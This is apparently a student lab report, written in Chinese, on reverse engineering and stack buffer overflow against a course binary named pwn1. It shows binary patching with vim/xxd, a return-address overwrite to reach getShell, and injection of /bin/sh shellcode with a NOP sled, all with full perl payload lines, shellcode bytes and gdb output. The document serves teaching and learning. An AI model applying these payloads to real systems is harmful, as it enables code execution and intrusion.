掌握NOP, JNE, JE, JMP, CMP彙編指令的機器碼
掌握反彙編與十六進制程式設計器
能正确修改機器指令改變程式執行流程
能正确構造payload進行bof攻擊
目錄
- 1 逆向及Bof基礎實踐說明
- 1.1 實踐目标
- 1.2 基礎知識
- Linux基本操作
- 管道
- 輸入、輸出重定向
- Bof的原理
- NOP, JNE, JE, JMP, CMP彙編指令的機器碼
- 常見寄存器
- 使用gdb和vi
- 反彙編
- 十六進制程式設計器
- Linux基本操作
- 2 直接修改程式機器指令,改變程式執行流程
- 2.1 檢視反彙編
- 2.2 計算偏移量
- 2.3 修改機器指令
- 2.4 執行pwn1檔案驗證
- 3 通過構造輸入參數,造成BOF攻擊,改變程式執行流
- 3.1 反彙編,了解程式的基本功能
- 3.2 确認輸入字元串哪幾個字元會覆寫到傳回位址
- 3.3 确認用什麼值來覆寫傳回位址
- 3.4 構造輸入字元串
- 4. 注入Shellcode并執行
- 4.1 準備一段Shellcode
- 4.2 準備工作
- 4.3 構造要注入的payload
- 失敗案例
- 重新開始
- 什麼是漏洞?漏洞有什麼危害?
- 實驗收獲與感想
本次實踐的對象是一個名為pwn1的linux可執行檔案。
該程式正常執行流程是:main調用foo函數,foo函數會簡單回顯任何使用者輸入的字元串。
該程式同時包含另一個代碼片段,getShell,會傳回一個可用Shell。正常情況下這個代碼是不會被運作的。我們實踐的目标就是想辦法運作這個代碼片段。我們将學習兩種方法運作這個代碼片段,然後學習如何注入運作任何Shellcode。
- 三個實踐内容如下:
- 手工修改可執行檔案,改變程式執行流程,直接跳轉到getShell函數。
- 利用foo函數的Bof漏洞,構造一個攻擊輸入字元串,覆寫傳回位址,觸發getShell函數。
- 注入一個自己制作的shellcode并運作這段shellcode。
- 這幾種思路,基本代表現實情況中的攻擊目标:
- 運作原本不可通路的代碼片段
- 強行修改程式執行流
- 以及注入運作任意代碼
- 用"|"符号來連接配接兩個指令,以前面指令的标準輸出作為後面指令的标準輸入,例如ls -l | more:該指令列出目前目錄中的任何文檔,并把輸出送給more指令作為輸入,more指令分頁顯示檔案清單。
- 管道指令必須是接受标準輸出的指令,
、cp
mv
都不是管道指令。ls
- 輸入重定向:輸入方向就是資料從哪裡流向程式。資料預設從鍵盤流向程式,如果改變了它的方向,資料就從其它地方流入。
- 輸出重定向:輸出方向就是資料從程式流向哪裡。資料預設從程式流向顯示器,如果改變了它的方向,資料就流向其它地方。
-
:空指令,機器碼NOP
。NOP指令什麼也不做,向後面的指令繼續執行。0x90
-
:條件轉移指令,機器碼JNE
。jump if not equal,不等則跳轉。0x75
-
JE
。jump if equal,相等則跳轉。0x74
-
:無條件轉移指令,短跳轉機器碼JMP
EB,近跳轉機器碼0xEB
,間接轉移機器碼0xE9
遠跳轉機器碼0xFF
0xEA
-
:比較指令,機器碼CMP
。目标操作數-源操作數,不儲存結果0x39
寄存器 | 名稱 | 功能 |
---|---|---|
EAX | 累加(Accumulator)寄存器 | 常用于乘、除法和函數傳回值 |
EBX | 基址(Base)寄存器 | 常做記憶體資料的指針, 或者說常以它為基址來通路記憶體 |
ECX | 計數器(Counter)寄存器 | 常做字元串和循環操作中的計數器 |
EDX | 資料(Data)寄存器 | 常用于乘、除法和 I/O 指針 |
ESI | 來源索引(Source Index)寄存器 | 常做記憶體資料指針和源字元串指針 |
EDI | 目的索引(Destination Index)寄存器 | 常做記憶體資料指針和目的字元串指針 |
ESP | 堆棧指針(Stack Point)寄存器 | 隻做堆棧的棧頂指針; 不能用于算術運算與資料傳送 |
EBP | 基址指針(Base Point)寄存器 | 隻做堆棧指針, 可以通路堆棧内任意位址, 經常用于中轉 ESP 中的資料, 也常以它為基址來通路堆棧; 不能用于算術運算與資料傳送 |
EIP | 指令指針(Instruction Pointer)寄存器 | 總是指向下一條指令的位址; 所有已執行的指令都被它指向過 |
通過反彙編查找含有跳轉指令的彙編行,修改該部分的機器代碼使之跳轉至getShell函數(其中getShell等函數位址也通過反彙編查詢)。
-
objdump -d [file]
是gcc的工具,用于解析二進制目标檔案。objdump
模式可反彙編檔案-d
- gdb下
disass [func]
可對函數進行反彙編disass
vim打開檔案,在指令模式下
:%!xxd
可将内容以十六進制形式顯示
輸入
:%!xxd -r
可将内容轉化為十六進制的資訊轉換回二進制顯示
運作pwn1檔案權限不夠,在提升檔案權限後運作pwn1_20181214,會回顯輸入的字元。
使用
objdump -d pwn1_20181214 | more
進行反彙編
找到getShell、foo、main函數的指令,發現指令
call 8048491 <foo>
,說明main函數在
0x80484b5
位置調用了foo函數。
而我們需要調用getShell函數來彈出可用shell。為了調用getShell函數,我們可以直接修改main函數部分的調用foo函數機器指令,使它調用getShell函數。
call指令的機器碼是e8,而ffffffd7(大端)為call指令的下一條指令位址0x80484ba與foo函數起始位址0x8048491間偏移量的補碼。是以我們隻需要修改ffffffd7為call指令的下一條指令位址0x80484ba與getShell函數起始位址0x804847d間偏移量的補碼即可。
計算得到0xfffffc3,是以将0x80484b5處的指令改為e8c3ffffff即可
vim打開pwn1_20181214,指令模式下輸入
:%!xxd
顯示16進制檔案輸入
/e8 d7
指令找到call foo指令位置
更改機器碼後切換回指令模式輸入
:%!xxd -r
轉回二進制檔案并輸入
:wq
儲存退出
執行檔案後得到shell提示符且能在shell下執行
ls
指令,說明調用getShell函數成功。
觀察彙編代碼,得知在foo函數執行時,在進行gets輸入前會預留0x1c(28)位元組大小的緩沖區來存取輸入值,但gets函數中并沒有進行輸入長度檢查。而main函數在call foo的同時會将傳回位址(原先的EIP)0x80484ba壓入棧中,是以如果将getShell函數的入口位址0x804847d覆寫此處,在foo函數執行結束後就會跳轉到getShell函數中而不是0x80848ba
回到原先的pwn1檔案,使用gdb調試pwn1
輸入r運作,輸入1111111122222222333333334444444412345678,1~4共32位元組覆寫棧中緩沖區的28位元組與EBP(4位元組),1234應覆寫傳回位址(原先的EIP)0x80484ba。覆寫後由于找不到位址1234,foo執行結束後會報錯,此時EIP應為錯誤的傳回位址
輸入指令
info r
檢視寄存器的值,eip為0x34333231,即為1234的ASCII碼的小端法表示
getShell的記憶體位址,通過反彙編時可以看到,即0x0804847d。
根據1234對應0x34333231,我們應當輸入11111111222222223333333344444444\x7d\x84\x04\x08
由于我們沒法通過鍵盤輸入\x7d\x84\x04\x08這樣的16進制值,是以需要生成包括這樣字元串的一個檔案。\x0a表示回車,如果沒有的話,在程式運作時就需要手工按一下Enter鍵。
perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
可以使用16進制檢視指令xxd檢視input檔案的内容是否如預期。
然後将input的輸入,通過管道符“|”,作為pwn1的輸入。
ls
- shellcode就是一段機器指令(code)
- 通常這段機器指令的目的是為擷取一個互動式的shell(像linux的shell或類似windows下的cmd.exe),
- 是以這段機器指令被稱為shellcode。
- 在實際的應用中,凡是用來注入的機器指令段都通稱為shellcode,像添加一個使用者、運作一條指令。
shellcode的編寫可參考許同學的文章Shellcode入門(連結已更新),使用該文章中生成的shellcode。
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\
設定堆棧可執行,并關閉位址随機化
此次需要安裝execstack,由于無法正常安裝,需要先下載下傳安裝perlink,使用老師給的壓縮包進行安裝
Linux下有兩種基本構造攻擊buf的方法:
- retaddr+nop+shellcode
- nop+shellcode+retaddr。
因為retaddr在緩沖區的位置是固定的,shellcode要不在它前面,要不在它後面。
簡單說緩沖區小就把shellcode放後邊,緩沖區大就把shellcode放前邊
我們這個buf夠放這個shellcode了
- 結構為:nops+shellcode+retaddr。
- nop一為是了填充,二是作為“着陸區/滑行區”。
- 我們猜的傳回位址隻要落在任何一個nop上,自然會滑到我們的shellcode。
──(rootðlcx20181214)-[~/netclass/Exp1]
└─# perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode
這段shellcode經填充後有32位元組,是以最後的\x4\x3\x2\x1将覆寫到堆棧上的傳回位址的位置。我們得把它改為這段shellcode的位址。接下來我們來确定\x4\x3\x2\x1到底該填什麼
- 打開一個終端注入這段攻擊buf:
┌──(rootðlcx20181214)-[~/netclass/Exp1]
└─# (cat input_shellcode;cat) | ./pwn1_20181214
- 檢視程序号
┌──(rootðlcx20181214)-[~]
└─# ps -ef | grep pwn
root 2573 2538 0 23:51 pts/0 00:00:00 ./pwn1_20181214
root 2599 2585 0 23:51 pts/1 00:00:00 grep --color=auto pwn
程序号為2573
3. 再開一個終端啟動gdb調試這個程序
┌──(rootðlcx20181214)-[~]
└─# gdb
(gdb) attach 2573
Attaching to process 2573
Reading symbols from /root/netclass/Exp1/pwn1_20181214...
(No debugging symbols found in /root/netclass/Exp1/pwn1_20181214)
Reading symbols from /lib32/libc.so.6...
(No debugging symbols found in /lib32/libc.so.6)
Reading symbols from /lib/ld-linux.so.2...
(No debugging symbols found in /lib/ld-linux.so.2)
0xf7fd1559 in __kernel_vsyscall ()
(gdb) disass foo
Dump of assembler code for function foo:
0x08048491 <+0>: push %ebp
0x08048492 <+1>: mov %esp,%ebp
0x08048494 <+3>: sub $0x38,%esp
0x08048497 <+6>: lea -0x1c(%ebp),%eax
0x0804849a <+9>: mov %eax,(%esp)
0x0804849d <+12>: call 0x8048330 <gets@plt>
0x080484a2 <+17>: lea -0x1c(%ebp),%eax
0x080484a5 <+20>: mov %eax,(%esp)
0x080484a8 <+23>: call 0x8048340 <puts@plt>
0x080484ad <+28>: leave
0x080484ae <+29>: ret
End of assembler dump.
-
檢視棧内位址找到shellcode起始位置
我們需要找到shellcode的起始位置,由于在leave後棧頂指針ESP指向我們注入的\x4\x3\x2\x1,是以我們可以在ret處下斷點後,通過esp的位址找到shellcode的起始位置
(gdb) break *0x080484ae
Breakpoint 1 at 0x80484ae
(gdb) c
Continuing.//此時在終端1中按回車
Breakpoint 1, 0x080484ae in foo ()
(gdb) info r esp
esp 0xffffd12c 0xffffd12c
(gdb) x/16x 0xffffd12c //檢視ESP指向的值,發現指向0x01020304所在位置
0xffffd12c: 0x01020304 0xf7fa0000 0xf7fad000 0x00000000
(gdb) x/16x 0xffffd110 //向低位址處尋找,發現shellcode起始位址為0xffffd110
0xffffd110: 0xc0319090 0x2f2f6850 0x2f686873 0x896e6962
0xffffd120: 0x895350e3 0xb0d231e1 0x9080cd0b 0x01020304
0xffffd130: 0xf7fa0000 0xf7fad000 0x00000000 0xf7de6e46
0xffffd140: 0x00000001 0xffffd1e4 0xffffd1ec 0xffffd174
是以将傳回位址改為0xffffd110即可
傳回位址也是0x01020304,與設想相同
- 注入shellcode,未能成功彈出shell
-
查找原因。
使用相同方法進行gdb調試
Exp1 PC平台逆向破解
結構為:anything+retaddr+nops+shellcode。
根據之前的推測,anything有32位。而由于傳回位址在0xffffd12c上,是以跳轉到旁邊的0xffffd130上即可滑至shellcode
┌──(rootðlcx20181214)-[~/netclass/Exp1]
└─# perl -e 'print "A" x 32;print "\x30\xd1\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode2
┌──(rootðlcx20181214)-[~/netclass/Exp1]
└─# (cat input_shellcode2;cat) | ./pwn1_20181214
ls
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0���������1�Ph//shh/bin��PS��1Ұ
�
ls
input input_shellcode1 pwn1
input_shellcode input_shellcode2 pwn1_20181214
運作成功
漏洞就是在計算機硬體、軟體、協定、安全政策上存在的缺陷。常見的漏洞有作業系統漏洞、伺服器漏洞、伺服器軟體漏洞、網頁系統漏洞等。
漏洞使攻擊者有機會對計算機系統進行攻擊,可能會引起經濟損失、機密洩露、隐私暴露、資料篡改等問題。
之前雖然也實作過緩沖區溢出攻擊,但對于棧内資料變化過程的了解始終不夠透徹。在本次實驗中,通過模型、視訊、部落格的學習,我對于函數調用時棧内資料變化過程的了解更加深入。在修改機器指令到字元串覆寫位址觸發getShell再到構造shellcode攻擊的過程中,我對為什麼要這樣進行攻擊的原因有了一定的認識,在必然的失敗中也充分明白了兩種構造方式的特點。整個實驗過程還是比較有趣的。
在實驗過程中也遇到了一些問題,如無法找到程序号、無法安裝execstack等問題,均在老師和同學們的讨論中得到了解答。希望能夠在接下來的學習過程中能夠了解到更多的緩沖區溢出攻擊知識。
PS:在撰寫實驗報告時,為了兼顧評分和流程完整,報告以實驗指導為基礎,使用markdown錨點指向所需呈現的報告内容。